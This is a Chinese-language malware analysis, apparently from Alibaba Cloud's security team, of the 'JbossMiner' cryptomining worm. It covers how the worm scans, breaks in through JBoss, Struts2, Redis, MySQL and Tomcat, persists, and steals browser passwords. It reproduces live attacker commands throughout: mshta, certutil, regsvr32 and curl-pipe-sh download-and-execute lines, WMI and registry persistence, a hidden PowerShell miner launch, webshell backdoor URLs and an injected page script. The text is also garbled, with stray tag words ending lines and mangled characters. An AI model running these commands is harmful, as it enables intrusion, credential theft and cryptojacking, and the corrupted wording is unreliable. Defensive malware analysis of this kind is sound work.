從2013年的誕生,到2016爆發,挖礦(MiningCryptocurrency) 的高回報率,使其成爲了一把雙刃劍。據外媒去年的統計,比特幣的算力(Hash Rate)已在半年內翻了一翻。javascript
當比特幣全網算力已經全面進入P算力時代,也就意味着須要有相應計算能力的設備高速運轉,不間斷地暴力驗證和工做,來支撐礦工們的「野心」。php
自2017年11月以來,阿里雲安全監控中心成功捕獲到一系列的同源挖礦事件,被感染的主機中發現了名爲F-Scrack-Jexboss的惡意文件,用於執行挖礦任務,並對外掃描擴散。本次受害主機以Jboss服務爲主,咱們將其命名爲「JbossMiner」。前端
經過監控JbossMiner相關情報,阿里雲安全團隊發現,JbossMiner挖礦蠕蟲在18年初爆發式增加,隨後增速迅猛,近期稍有回落。java
本文將以「JbossMiner」的核心代碼爲基礎,分別從掃描、入侵、利用、挖礦等功能進行展開,完整分析並還原整個過程。但願研究者和非安全專業領域的讀者們,能從全局角度看到挖礦木馬如何瞄準「宿主」,擴張木馬僵屍網絡,並可持續利用。爲企業和機構的入侵檢測和挖礦防範,提供新的視角。python
注:JbossMiner中用到的漏洞,阿里雲上已默承認攔截,而且,安騎士已能夠檢測JbossMiner中的惡意程序,和執行的惡意命令。建議及時關注威脅提示,若有異常事件可儘快處理。mysql
阿里雲安全團隊在蜜罐中捕獲到該二進制樣本,該樣本由py2exe
打包,解包反編譯後是一套由Python編寫的完整攻擊程序,包含源碼及依賴類庫等數十個文件,核心功能代碼文件列表以下圖所示:linux
其核心功能分爲四大部分,分別爲:掃描、入侵、惡意代碼植入、挖礦。經過這幾部分的分工協做,完成整個入侵——植入——持續擴張流程。相關邏輯由Python和Shell腳本實現。web
下圖爲「JbossMiner」完整的傳播及利用路徑:sql
下面,本文將對上述四大功能部分進行詳細分析。chrome
u.swb.one
會在每次請求時生成一段目標地址,以下所示:
199.123.16.0/21 103.30.248.0/22 58.10.0.0/15 94.76.64.0/18
隨後JbossMiner對目標IP進行ICMP探活,隨後對存活主機的指定端口進行掃描,並根據端口對應的服務啓動攻擊模塊。
JbossMiner蠕蟲客戶端內置的入侵模塊有如下幾種。
Jboss是一款開源的企業級Java中間件,用於實現基於SOA架構的web應用和服務。2015年,安全研究人員披露Java反序列化漏洞利用方案,Jboss首當其衝,直至今日仍有至關數量存在漏洞的服務器暴露在公網。JbossMiner複用了開源自動化入侵工具Jexboss,該工具由Python編寫,支持多種Jboss命令執行漏洞的檢測和利用。
Struts2是當下流行的Java網絡應用框架,針對該框架的命令執行漏洞層出不窮。據阿里雲態勢感知觀測,目前Struts框架漏洞仍爲黑色產煊赫一時的入侵手段。JbossMiner內部集成了從S2-005到S2-053的所有漏洞利用代碼,入侵成功後經過系統命令控制目標服務器遠程拉取文件進行挖礦和持久化。
永恆之藍(EternalBlue)是美國國家安全局開發的漏洞利用程序,於2017年4月14日被黑客組織公開,並催生了以WannaCry爲首的諸多蠕蟲變種。目前不少機器已經修復該漏洞,暴露在公網的影響面有限,但仍不失爲一種內網傳播的有效手段。
MySQL服務的攻擊面主要集中在SQL注入、弱口令及未受權訪問。JbossMiner中的MySQL利用模塊對系統及MySQL版本進行了簡單適配,經過如下兩種方式穿透到主機。
UDF以16進制的方式存在於Python代碼中,對Windows、Linux進行適配。
落盤文件IOC
文件名 lib_mysqludf32_sys.dll lib_mysqludf64_sys.dll lib_mysqludf32_sys.so lib_mysqludf64_sys.so
該木馬攜帶的lib_mysqludf32/64
動態連接庫,其核心功能就是爲了執行MySQL命令,以便運行惡意腳本,該木馬做者將執行命令的代碼放在了sys_bineval
函數中,其中線程函數StartAddress
負責執行用戶傳入的參數。
代碼截圖以下(Linux版本的代碼相似):
經過開啓查詢日誌,並設定日誌文件路徑在crontab目錄下,能夠向定時任務寫入惡意代碼,除此以外MySQL中還有其餘相似的日誌配置文件可被利用。
Redis服務的攻擊面以未受權訪問和弱口令爲主,利用該服務穿透到主機進行後續滲透的方法五花八門,如利用數據導出功能將惡意代碼寫入系統的指定位置(如web後門、計劃任務、SSH密鑰等)。
JbossMiner首先探測目標Redis服務是否存在未受權登陸,隨即便用內置字典爆破密碼,並將成功後的信息回傳到黑客控制的回顯平臺。
其中make_crontab
函數經過寫crontab的方式穿透到系統,接入後續挖礦代碼。
JbossMiner針對Tomcat/Axis服務的入侵方式爲WEB層弱口令爆破。
成功登入後,經過Tomcat上傳功能部署後門,war包代碼以hex格式存於Python代碼中。
隨後經過HTTP請求鏈接後門,依次下發後續利用的命令。
對Axis服務的利用方式與之相同,再也不贅述。
部署的後門地址IOC以下:
服務 | 後門地址 |
---|---|
Axis | http://%s/axis2/services/Cat/exec?cmd= |
Tomcat | http://%s/is/cmd.jsp?pwd=futuresec&&cmd= |
JbossMiner在成功攻破的服務器中執行系統命令以完成後滲透利用,具體指令以下:
'SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F', 'wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"', 'curl -sL https://lnk0.com/VhscA1 | sh', 'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"', 'wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"', 'wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"', 'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"', 'bitsadmin /create updateer3', 'bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe', 'bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"', 'bitsadmin /Resume updateer3'
使用 SchTasks.exe、wmic、bitsadmin來實如今Windows平臺的自啓動,除此以外,並針對Windows和Linux執行不一樣的腳本,後續全部的惡意行爲都由這兩個腳原本完成,主要實現持久化、蠕蟲傳播、挖礦、竊取瀏覽器敏感信息等。
文章後面部份內容,將針對這兩部分詳細分析。
針對Windows系統的利用程序(vbs腳本)
http://enjoytopic.esy.es/ps3.txt
Linux系統的利用程序(Shell腳本)
https://lnk0.com/VhscA1
針對Windows系統,JbossMiner在攻擊成功後將使用mshta命令執行名爲ps3.txt的vbs腳本,ps3.txt中的shellcode執行流程簡圖以下:
ps3.txt文件的部份內容截圖以下:
解密後的vbs中嵌入了一段powershell命令,解密後,var_code即爲最終要執行的代碼(base64編碼)以下:
var_code是爲一段shellcode,shellcode內本身實現LoadLibrary和GetProcAddress邏輯,動態加載wininet.dll,獲取wininet.HttpOpenRequestA等相關API來實現http的訪問。
它會請求d1uga3uzpppiit.cloudfront.net/dCrC文件,該文件是一個加密後的DLL,MZ頭通過精心構造,可直接看成代碼執行。解密後的dll中包含導出函數ReflectiveLoader,負責reload自身並執行。從結構上來看,這部分payload由Metasploit生成,與上文中提到的Mettle相似。
該dCrC文件主要做用就是接受服務器下發的powershell命令並運行,其核心代碼截圖以下:
在dCrC文件與swb.one服務器交互,接收其powershell命令並執行,完成自啓動和下發其餘惡意程序(挖礦、蠕蟲、竊密)。
powershell命令通過解密後以下:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value mshta http://xmr.enjoytopic.tk/d/ps3.txt New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater2 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater3 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater111';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater111';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}; $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater222';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater222';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer};
除了上述的下發powershell命令外,還下發了兩條下載命令:
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%\svthost.exe &&wmic process call create %temp%\svthost.exe C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%\svshost.exe &&wmic process call create %temp%\svshost.exe
分別下載svthost.exe的後門程序和svshost.exe橫向滲透傳播程序,其中svshost.exe橫向滲透傳播程序也是由python腳本打包而成的exe程序,於運行時釋放運行所需文件,其文件列表截圖以下:
下面再來看看這個svthost.exe的後門程序是如何盜取瀏覽器用戶名和密碼信息的 — 咱們在測試環境下做了驗證。
後門程序不只盜取Chrome瀏覽器中存儲的帳號和密碼,還盜取Firefox瀏覽器中存儲的帳號和密碼。其上傳盜取數據的接口是:https://u.swb.one/upload/win
,相關代碼截圖以下:
Chrome瀏覽器將訪問網站的相關用戶名和密碼,加密保存在一個SQLite數據庫中,路徑爲:%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data"
。svthost.exe後門程序首先遍歷進程檢查被攻擊者的電腦是否運行了Chrome瀏覽器(chrome.exe),以後再去獲取Chrome瀏覽器帳號和密碼保存的數據庫文件,解密後上傳到黑客的外部服務器。
檢查Chrome瀏覽器保存密碼的數據庫路徑:
其中sub_417C10
函數拿到解密後的帳號和密碼,發送到外部服務器。
一樣,svthost.exe後門程序也是先確認該用戶是否安裝了Firefox瀏覽器,而後利用NSS的開源庫,對沒有設置瀏覽器設定主密碼的攻擊對象(通常會默認爲空)進行破解,提取全局hash,得到它與空密碼作hash後的運算結果,而後使用該結果破譯SDR密鑰,再用破譯的SDR密鑰危害證書,最後拿到Firefox瀏覽器中保存的帳號和密碼。
檢測是否安裝了Firefox瀏覽器代碼片斷:
加載NSS開源庫的nss.dll,而後利用其提供函數進行運算:
最後拿到被攻擊者的網站,以及其對應的用戶名和密碼,並上傳到服務器,其代碼片斷以下:
針對Linux系統,JbossMiner在攻擊成功後將命令寫入crontab來實現後續利用,宿主機將按期下載指定shell腳本執行。
對該shell進行進一步分析,首先從遠端拉取名爲hawk
的文件並執行。
該文件實爲MetaSploit中的Mettle組件,根據預設的DNS(cs.swb.one)查找控制端反彈shell,其中swb.one域名下屢次發現黑客資產,分別用於文件服務、接收爆破成功後回傳的信息、接收反彈shell。
JbossMiner針對Windows和Linux系統分別作了兩套挖礦程序,實現跨平臺挖礦。兩套挖礦程序在不一樣平臺下的運轉詳情分析以下。
在Windows系統上,JbossMiner蠕蟲執行regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll
等命令,在vbs腳本中實現下載挖礦程序並執行,相關代碼以下:
這裏藉助MSXML2.XMLHTTP
和WScript.Shell
對象,將http://enjoytopic.esy.es/rigd32.txt
挖礦程序下載到系統的臨時目錄,配置礦池和錢包參數,啓動挖礦程序進行挖礦謀利。
JbossMiner蠕蟲在linux平臺上啓動的sh腳本具體內容以下,它判斷用戶是否爲root,如果則執行lowerv2.sh
,若不然再次嘗試寫root用戶的crontab,同時執行rootv2.sh
,這兩個shell腳本實現了挖礦邏輯。
以低權限挖礦腳本(lowerv2.sh)爲例,腳本從遠端下載礦機的配置文件(config.json)和挖礦程序(bashd)進行挖礦,同時複用上述反彈shell的部分代碼。其內置了三組配置文件和挖礦程序,依次做爲候補方案。
執行次序 | 挖礦程序 | 配置文件 |
---|---|---|
1 | lienjoy.esy.es/bashd |
lienjoy.esy.es/config.json |
2 | lienjoy.esy.es/bashe |
lienjoy.esy.es/config.txt |
3 | lienjoy.esy.es/bashf |
lienjoy.esy.es/bashf.cfg |
高權限挖礦腳本(rootv2.sh)挖礦邏輯與lowerv2相同,只是刪除了寫root用戶的定時任務相關代碼。
配置文件主要用於雲控配置礦池地址和錢包地址,大部分相似。以config.json
爲例,其詳細內容以下:
基於阿里雲態勢感知,咱們同期監控到多起Webshell通訊事件與主頁掛馬事件。經分析發現,與JbossMiner爲同一團隊所爲。與本次行動相關的Webshell,覆蓋多種腳本語言的不一樣系統,其中部分存在明顯的手工操做痕跡。
黑客經過Webshell向主機下發挖礦程序,同時在目標CMS主頁插入前端挖礦代碼,利用訪問者的算力進行挖礦。
部分經過webshell執行的命令:
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://d3oxpv9ajpsgxt.cloudfront.net/rigd64.exe',$env:TEMP+'/explorer.exe');start-process -WindowStyle Hidden $env:TEMP/explorer.exe -ArgumentList '-o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B' C:\\Windows\\TEMP\\explorer.exe\" -o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v Updater2 /t REG_SZ /d C:\\Users\\Public\\Updater2.vbs /f cmd.exe /c cmd /c \"cd /d D:\\phpStudy\\WWW\\&certutil -urlcache -split -f http://121.126.223.211/tg.exe c:\\a.exe && wmic process call create c:\\a.exe&echo [S]&cd&echo [E]\" 2>&1 C:\\Windows\\system32\\cmd.exe /C certutil -urlcache -split -f http://enjoytopic.esy.es/tg3.txt svthost.exe && svthost.exe
主頁插入代碼:
<IfRAME height=0 width=0 sRc ="http://d3lvemwrafj7a7.cloudfront.net/c"></IFrAME> <script>var commandModuleStr = '<script src="https://d1ebv77j9rbkp6.enjoytopic.com/hook.js" type="text/javascript"><\/script>';document.write(commandModuleStr);</script>
其中iframe
標籤攜帶挖礦代碼,礦池地址爲pool.blockbitcoin.com
,代碼複用自開源礦池CryptoNoter。
經過對JbossMiner的總體分析,咱們發現,因爲網上現成攻擊代碼的泛濫,和惡意文件對PE、ELF等可執行文件的依賴性減弱,使攻擊者的技術門檻進一步下降。
例如,在JbossMiner中,因爲藉助wmi實現自啓動,使用regsvr32.exe等下載惡意腳本執行,加之功能主要由vbs腳本實現,最後又借用了metasploit等成熟的攻擊套件。這一系列的「基礎」,使得攻擊者不須要專業的編碼能力,便可完成攻擊。
從勒索軟件、到挖礦木馬,如何提高自身的防護水平,而不是簡單的拉長防線,是業界和企業,須要警戒和思考的問題。